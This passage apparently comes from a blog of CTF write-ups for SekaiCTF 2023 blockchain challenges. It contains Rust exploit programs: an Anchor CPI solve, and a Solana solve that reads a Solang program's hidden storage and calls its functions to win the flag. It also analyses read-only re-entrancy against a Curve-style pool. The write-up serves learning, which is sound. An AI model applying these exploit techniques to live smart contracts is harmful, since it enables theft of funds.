&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Solve&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1693154977807&quot; class=&quot;rust&quot; data-ke-language=&quot;rust&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#[program]
pub mod solve {
    use super::*;

    pub fn initialize(ctx: Context&amp;lt;Initialize&amp;gt;, name: Vec&amp;lt;u8&amp;gt;, seed: [u8; 32]) -&amp;gt; Result&amp;lt;()&amp;gt; {
        // solve goes here:

        let cpi_accounts = chall::cpi::accounts::Bid {
            bid: ctx.accounts.user_bid.to_account_info(),
            auction: ctx.accounts.auction.to_account_info(),
            product: ctx.accounts.product.to_account_info(),
            bidder: ctx.accounts.user.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
            rent: ctx.accounts.rent.to_account_info(),
        };
        let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
        chall::cpi::bid(cpi_ctx, 1 as u64)?;

        let cpi_accounts2 = chall::cpi::accounts::CreateProduct {
            product: ctx.accounts.fake_product.to_account_info(),
            user: ctx.accounts.user.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
            rent: ctx.accounts.rent.to_account_info(),
        };
        let cpi_ctx2 = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts2);
        chall::cpi::create_product(cpi_ctx2, name, seed)?;

        Ok(())
    }
}

#[derive(Accounts)]
pub struct Initialize&amp;lt;'info&amp;gt; {
    // feel free to expand/change this as needed
    // if you change this, make sure to change framework-solve/src/main.rs accordingly

    #[account(mut)]
    pub admin: AccountInfo&amp;lt;'info&amp;gt;,

    #[account(mut)]
    pub rich_boi: AccountInfo&amp;lt;'info&amp;gt;,

    #[account(mut)]
    pub user: Signer&amp;lt;'info&amp;gt;,

    #[account(mut)]
    pub auction: AccountInfo&amp;lt;'info&amp;gt;,

    #[account(mut)]
    pub product: AccountInfo&amp;lt;'info&amp;gt;,

    pub system_program: Program&amp;lt;'info, System&amp;gt;,

    pub chall: Program&amp;lt;'info, chall::program::Chall&amp;gt;,

    pub rent: Sysvar&amp;lt;'info, Rent&amp;gt;,

    // added
    #[account(mut)]
    pub user_bid: AccountInfo&amp;lt;'info&amp;gt;,
    #[account(mut)]
    pub fake_product: AccountInfo&amp;lt;'info&amp;gt;,
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Play for Free&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Analysis&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;This was written as &lt;a href=&quot;https://github.com/hyperledger/solang&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/hyperledger/solang&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1693128289520&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - hyperledger/solang: Solidity Compiler for Solana and Polkadot&quot; data-og-description=&quot;Solidity Compiler for Solana and Polkadot. Contribute to hyperledger/solang development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/hyperledger/solang&quot; data-og-url=&quot;https://github.com/hyperledger/solang&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bcGrwV/hyTL5ZJ9Xd/YyCyQy5PZslEKsfzcaZlj1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/hyperledger/solang&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/hyperledger/solang&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bcGrwV/hyTL5ZJ9Xd/YyCyQy5PZslEKsfzcaZlj1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - hyperledger/solang: Solidity Compiler for Solana and Polkadot&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Solidity Compiler for Solana and Polkadot. Contribute to hyperledger/solang development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;It's obviously Solidity but I was confused when I knew it was working on Solana.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In order to emit the flag, we must know the value of the initialized state variables in the constructor.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In detail, when we call play function, the tokens should be 0x1f, which is 0b11111 in binary.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;That means tokens ^= 1, 2, 4, 8, 16 is executed.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In fact, since there is a way to get the data in the chain, I expected this challenge could be easily solved.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If this chall is related to EVM, I can use getStorageAt.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If this chall is related to Solana, I can use account.data.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Solve&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;My first challenge was how to call a function and&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;second one was how the storage layout was constructed.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In terms of Solidity, function selector is a 4-byte determined through sha3.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In terms of Solana, discriminator is a 8-byte determined through sha256.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Fortunately, thanks to the server code, I found out I needed a discriminator.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I&amp;nbsp;wanted&amp;nbsp;to&amp;nbsp;know&amp;nbsp;specifically,&amp;nbsp;so&amp;nbsp;I&amp;nbsp;modified&amp;nbsp;Solang's&amp;nbsp;code&amp;nbsp;and&amp;nbsp;printed&amp;nbsp;out&amp;nbsp;the&amp;nbsp;discriminator.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://solana.stackexchange.com/questions/4992/how-can-i-get-the-discriminator-of-an-instruction-in-an-anchor-solana-idl&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://solana.stackexchange.com/questions/4992/how-can-i-get-the-discriminator-of-an-instruction-in-an-anchor-solana-idl&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/hyperledger/solang/blob/7774674eec37aeca048fb4a93f9eefcf8140c5a7/src/sema/ast.rs#L460&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/hyperledger/solang/blob/7774674eec37aeca048fb4a93f9eefcf8140c5a7/src/sema/ast.rs#L460&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;global:tokens&quot; &lt;br /&gt;[215,&amp;nbsp;149,&amp;nbsp;40,&amp;nbsp;154,&amp;nbsp;182,&amp;nbsp;146,&amp;nbsp;65,&amp;nbsp;125]&amp;nbsp; &lt;br /&gt;&quot;global:playCount&quot; &lt;br /&gt;[81,&amp;nbsp;212,&amp;nbsp;88,&amp;nbsp;253,&amp;nbsp;69,&amp;nbsp;244,&amp;nbsp;53,&amp;nbsp;0]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&quot;global:find_string_uint64&quot; &lt;br /&gt;[9,&amp;nbsp;229,&amp;nbsp;75,&amp;nbsp;5,&amp;nbsp;193,&amp;nbsp;115,&amp;nbsp;105,&amp;nbsp;171]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&quot;global:find_bytes32&quot; &lt;br /&gt;[85,&amp;nbsp;43,&amp;nbsp;21,&amp;nbsp;196,&amp;nbsp;243,&amp;nbsp;127,&amp;nbsp;55,&amp;nbsp;65]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&quot;global:find_string&quot; &lt;br /&gt;[52,&amp;nbsp;228,&amp;nbsp;208,&amp;nbsp;77,&amp;nbsp;202,&amp;nbsp;97,&amp;nbsp;52,&amp;nbsp;46]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&quot;global:play&quot; &lt;br /&gt;[213,&amp;nbsp;157,&amp;nbsp;193,&amp;nbsp;142,&amp;nbsp;228,&amp;nbsp;56,&amp;nbsp;248,&amp;nbsp;150]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The second difficulty was that I knew Solang stores state variable in data_account, but I didn't know how it was saved.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I looked it up on docs and github, but I couldn't get a clue.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/hyperledger/solang/blob/7774674eec37aeca048fb4a93f9eefcf8140c5a7/src/codegen/cfg.rs#L2082&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/hyperledger/solang/blob/7774674eec37aeca048fb4a93f9eefcf8140c5a7/src/codegen/cfg.rs#L2082&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://github.com/hyperledger/solang/blob/7774674eec37aeca048fb4a93f9eefcf8140c5a7/src/codegen/cfg.rs#L2145&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/hyperledger/solang/blob/7774674eec37aeca048fb4a93f9eefcf8140c5a7/src/codegen/cfg.rs#L2145&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://github.com/hyperledger/solang/blob/7774674eec37aeca048fb4a93f9eefcf8140c5a7/src/sema/types.rs#L1723&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/hyperledger/solang/blob/7774674eec37aeca048fb4a93f9eefcf8140c5a7/src/sema/types.rs#L1723&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://github.com/hyperledger/solang/blob/7774674eec37aeca048fb4a93f9eefcf8140c5a7/src/sema/types.rs#L1680&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/hyperledger/solang/blob/7774674eec37aeca048fb4a93f9eefcf8140c5a7/src/sema/types.rs#L1680&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://github.com/hyperledger/solang/blob/7774674eec37aeca048fb4a93f9eefcf8140c5a7/src/sema/types.rs#L1760&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/hyperledger/solang/blob/7774674eec37aeca048fb4a93f9eefcf8140c5a7/src/sema/types.rs#L1760&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://github.com/hyperledger/solang/blob/7774674eec37aeca048fb4a93f9eefcf8140c5a7/src/codegen/mod.rs#L298&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/hyperledger/solang/blob/7774674eec37aeca048fb4a93f9eefcf8140c5a7/src/codegen/mod.rs#L298&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://github.com/hyperledger/solang/blob/main/src/codegen/mod.rs#L299&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/hyperledger/solang/blob/main/src/codegen/mod.rs#L299&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://github.com/hyperledger/solang/blob/7774674eec37aeca048fb4a93f9eefcf8140c5a7/stdlib/solana.c#L340&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/hyperledger/solang/blob/7774674eec37aeca048fb4a93f9eefcf8140c5a7/stdlib/solana.c#L340&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;So I modified the server code and figured out the layout through debugging.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/kangsangsoo/CTF-Writeups/blob/main/SekaiCTF%202023/Play%20for%20Free/solve/src/lib.rs#L45&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/kangsangsoo/CTF-Writeups/blob/main/SekaiCTF%202023/Play%20for%20Free/solve/src/lib.rs#L45&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;00..16 struct account_data_header&lt;br /&gt;16..20 tokens &lt;br /&gt;20..24 playCount&lt;br /&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;24..32 forgotten&lt;/span&gt;&lt;br /&gt;32..36 pointer of stuckInGap&lt;br /&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;36..44 atBottom&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;44..76 somewhere&lt;/span&gt; &lt;br /&gt;76..96 maybe header of string type..?&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;96..104 stuckInGap&lt;/span&gt;&lt;br /&gt;104..120 I don't know&lt;br /&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;120..128 lookForIt&lt;/span&gt;&lt;br /&gt;128..160 I don't know&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Since we know all state variable values, we just call find functions and get a flag.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1693155300943&quot; class=&quot;rust&quot; data-ke-language=&quot;rust&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;entrypoint!(process_instruction);
    fn process_instruction(
        program_id: &amp;amp;Pubkey,
        accounts: &amp;amp;[AccountInfo],
        instruction_data: &amp;amp;[u8],
    ) -&amp;gt; ProgramResult {
        let account_iter = &amp;amp;mut accounts.iter();
        let program = next_account_info(account_iter)?;
        let data_account = next_account_info(account_iter)?;
        let user = next_account_info(account_iter)?;
        let user_data = next_account_info(account_iter)?;
        let my_pg = next_account_info(account_iter)?;
        let sp = next_account_info(account_iter)?;

        // for debug
        {
            // let str = Rc::deref(&amp;amp;Rc::clone(&amp;amp;data_account.data)).borrow().deref();
            // msg!(&amp;amp;format!(&quot;{:?}&quot;, Rc::deref(&amp;amp;Rc::clone(&amp;amp;data_account.data)).borrow().deref()));
        }
        let forgotten:[u8; 8]  = Rc::deref(&amp;amp;Rc::clone(&amp;amp;data_account.data)).borrow().deref()[24..32].try_into().unwrap();
        let atBottom:[u8; 8] = Rc::deref(&amp;amp;Rc::clone(&amp;amp;data_account.data)).borrow().deref()[36..44].try_into().unwrap();
        let somewhere:[u8; 32] = Rc::deref(&amp;amp;Rc::clone(&amp;amp;data_account.data)).borrow().deref()[44..76].try_into().unwrap();
        let stuckInGap:[u8; 8] = Rc::deref(&amp;amp;Rc::clone(&amp;amp;data_account.data)).borrow().deref()[96..104].try_into().unwrap(); 
        let lookForIt:[u8; 8] = Rc::deref(&amp;amp;Rc::clone(&amp;amp;data_account.data)).borrow().deref()[120..128].try_into().unwrap();

        {
            let mut cont: Vec&amp;lt;u8&amp;gt; = vec![85, 43, 21, 196, 243, 127, 55, 65];

            cont.append(&amp;amp;mut somewhere.to_vec());
    
            let find_bytes32 = Instruction::new_with_bytes(
                program.key.clone(),
                &amp;amp;cont,
                vec![
                    AccountMeta::new(data_account.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new_readonly(program.key.clone(), false),
                ],
            );
    
            invoke(&amp;amp;find_bytes32, 
                &amp;amp;[
                    user_data.clone(),
                    data_account.clone(),
                    user.clone(),
                    program.clone(),
                    my_pg.clone(),
                    sp.clone(),
            ]);
        }

        {
            let mut cont: Vec&amp;lt;u8&amp;gt; = vec![52, 228, 208, 77, 202, 97, 52, 46];
            let mut cont2: Vec&amp;lt;u8&amp;gt; = vec![8,0,0,0];
            
            cont.append(&amp;amp;mut cont2);
            cont.append(&amp;amp;mut lookForIt.to_vec());
    
            let find_string = Instruction::new_with_bytes(
                program.key.clone(),
                &amp;amp;cont,
                vec![
                    AccountMeta::new(data_account.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new_readonly(program.key.clone(), false),
                ],
            );
    
            invoke(&amp;amp;find_string, 
                &amp;amp;[
                    user_data.clone(),
                    data_account.clone(),
                    user.clone(),
                    program.clone(),
                    my_pg.clone(),
                    sp.clone(),
            ]);
        }

        {
            let mut cont: Vec&amp;lt;u8&amp;gt; = vec![9, 229, 75, 5, 193, 115, 105, 171];
            let mut s1 = BorshSerialize::try_to_vec(&quot;Token Dispenser&quot;).unwrap();
    
            cont.append(&amp;amp;mut s1);
            cont.append(&amp;amp;mut forgotten.to_vec());
    
            let find_string_uint64 = Instruction::new_with_bytes(
                program.key.clone(),
                &amp;amp;cont,
                vec![
                    AccountMeta::new(data_account.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new_readonly(program.key.clone(), false),
                ],
            );
    
            invoke(&amp;amp;find_string_uint64, 
                &amp;amp;[
                    user_data.clone(),
                    data_account.clone(),
                    user.clone(),
                    program.clone(),
                    my_pg.clone(),
                    sp.clone(),
            ]);
        }

        {
            let mut cont: Vec&amp;lt;u8&amp;gt; = vec![9, 229, 75, 5, 193, 115, 105, 171];
            let mut s1 = BorshSerialize::try_to_vec(&quot;Token Counter&quot;).unwrap();
    
            cont.append(&amp;amp;mut s1);
            cont.append(&amp;amp;mut stuckInGap.to_vec());
    
            let find_string_uint64 = Instruction::new_with_bytes(
                program.key.clone(),
                &amp;amp;cont,
                vec![
                    AccountMeta::new(data_account.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new_readonly(program.key.clone(), false),
                ],
            );
    
            invoke(&amp;amp;find_string_uint64, 
                &amp;amp;[
                    user_data.clone(),
                    data_account.clone(),
                    user.clone(),
                    program.clone(),
                    my_pg.clone(),
                    sp.clone(),
            ]);
        }

        {
            let mut cont: Vec&amp;lt;u8&amp;gt; = vec![9, 229, 75, 5, 193, 115, 105, 171];
            let mut s1 = BorshSerialize::try_to_vec(&quot;Arcade Machine&quot;).unwrap();
    
            cont.append(&amp;amp;mut s1);
            cont.append(&amp;amp;mut atBottom.to_vec());
    
            let find_string_uint64 = Instruction::new_with_bytes(
                program.key.clone(),
                &amp;amp;cont,
                vec![
                    AccountMeta::new(data_account.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new_readonly(program.key.clone(), false),
                ],
            );
    
            invoke(&amp;amp;find_string_uint64, 
                &amp;amp;[
                    user_data.clone(),
                    data_account.clone(),
                    user.clone(),
                    program.clone(),
                    my_pg.clone(),
                    sp.clone(),
            ]);
        }

        {
            let mut cont: Vec&amp;lt;u8&amp;gt; = vec![213, 157, 193, 142, 228, 56, 248, 150];
    
            let play = Instruction::new_with_bytes(
                program.key.clone(),
                &amp;amp;cont,
                vec![
                    AccountMeta::new(data_account.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new_readonly(program.key.clone(), false),
                ],
            );
    
            invoke(&amp;amp;play, 
                &amp;amp;[
                    user_data.clone(),
                    data_account.clone(),
                    user.clone(),
                    program.clone(),
                    my_pg.clone(),
                    sp.clone(),
            ]);
        }
       
        Ok(())        
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Re-Remix&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Analysis&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;├──&amp;nbsp;Equalizer.sol&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;├──&amp;nbsp;FreqBand.sol&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;├── MusicRemixer.sol&lt;br /&gt;├──&amp;nbsp;SampleEditor.sol&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In MusicRemixer.sol, setup contract, if the level of song is 30 or more than, it emits a flag.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The level of song is determined by the multiplication of tempo of SampleEditor and complexity of Equalizer.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;First, the tempo is a state variable of SampleEditor and is set by adjust function.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;To avoid a revert in adjust function, I have to change a value in mapping through updateSetting function that is able to change a value of storage slot.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The skills required here are to calculate storage slot number for mapping and dynamic objects.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I&amp;nbsp;knew&amp;nbsp;roughly&amp;nbsp;how&amp;nbsp;to&amp;nbsp;do&amp;nbsp;it,&amp;nbsp;but&amp;nbsp;I've&amp;nbsp;never&amp;nbsp;actually&amp;nbsp;done&amp;nbsp;it,&amp;nbsp;so&amp;nbsp;it&amp;nbsp;took&amp;nbsp;me&amp;nbsp;a&amp;nbsp;while.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;But there's a huge trick, and if I use debugger, I don't actually have to calculate it..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;For my study, I also wrote python script.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;in remix&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;357&quot; data-origin-height=&quot;303&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/346nS/btssqy2i4Ua/3T9tIgPlMYO9BO1SPO2s31/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/346nS/btssqy2i4Ua/3T9tIgPlMYO9BO1SPO2s31/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/346nS/btssqy2i4Ua/3T9tIgPlMYO9BO1SPO2s31/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F346nS%2Fbtssqy2i4Ua%2F3T9tIgPlMYO9BO1SPO2s31%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;357&quot; height=&quot;303&quot; data-origin-width=&quot;357&quot; data-origin-height=&quot;303&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Eqaulizer.sol&amp;nbsp;is&amp;nbsp;an&amp;nbsp;example&amp;nbsp;code&amp;nbsp;that&amp;nbsp;implements&amp;nbsp;the&amp;nbsp;stable&amp;nbsp;swap&amp;nbsp;of&amp;nbsp;curve&amp;nbsp;finance&amp;nbsp;as&amp;nbsp;solidity.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;What we have to do is make the return value of the getVirtualPrice function change.&lt;br /&gt;However, considering the stable swap, this might be impossible considering that the amount of ether we have is one.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Root Cause&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;This challenge is an example of read-only re-entrancy.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chainsecurity.com/curve-lp-oracle-manipulation-post-mortem/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://chainsecurity.com/curve-lp-oracle-manipulation-post-mortem/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1693142383624&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Curve LP Oracle Manipulation: Post Mortem&quot; data-og-description=&quot;What if you could manipulate Curve's oracles to exploit major DeFi protocols? Read about the technical details of read-only reentrency attacks.&quot; data-og-host=&quot;chainsecurity.com&quot; data-og-source-url=&quot;https://chainsecurity.com/curve-lp-oracle-manipulation-post-mortem/&quot; data-og-url=&quot;https://chainsecurity.com/curve-lp-oracle-manipulation-post-mortem/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/mmKtS/hyTIMHAthx/Ttp4CHAxFMWIrUCEbgEUyk/img.png?width=1024&amp;amp;height=576&amp;amp;face=0_0_1024_576,https://scrap.kakaocdn.net/dn/YNZXq/hyTL4Nliyw/KQLiYRh7lFnUaiOVcoLMbk/img.png?width=768&amp;amp;height=768&amp;amp;face=0_0_768_768&quot;&gt;&lt;a href=&quot;https://chainsecurity.com/curve-lp-oracle-manipulation-post-mortem/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://chainsecurity.com/curve-lp-oracle-manipulation-post-mortem/&quot;&gt;
